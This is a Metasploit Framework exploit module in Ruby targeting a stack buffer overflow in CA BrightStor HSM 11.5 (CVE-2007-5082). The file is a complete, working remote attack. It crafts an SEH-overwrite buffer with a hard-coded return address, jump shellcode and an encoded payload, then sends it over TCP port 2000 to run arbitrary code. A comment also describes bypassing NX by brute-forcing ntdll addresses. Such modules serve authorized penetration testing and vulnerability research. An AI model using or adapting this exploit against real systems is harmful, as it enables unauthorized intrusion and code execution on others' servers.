## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor HSM Buffer Overflow', 'Description' => %q{ This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM. By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'toto' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-5082' ], [ 'OSVDB', '41363' ], [ 'BID', '25823' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1026, 'BadChars' => "\x00\x0a\x0d;", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # NX can be bypassed by bruteforcing ntdll addresses as the process is restarted # pop/pop/ret in fpparser.dll (old from 2004) [ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ], ], 'DisclosureDate' => 'Sep 27 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2000) ], self.class) end def exploit connect data = [42,7,0,0].pack('VVVV') + payload.encoded + "\xeb\x06" + Rex::Text.rand_text_alphanumeric(2) + [ target.ret ].pack('V') + "\xe9\xf1\xfb\xff\xff" + Rex::Text.rand_text_alphanumeric(0x100) sploit = [data.length + 4].pack('V') + data print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end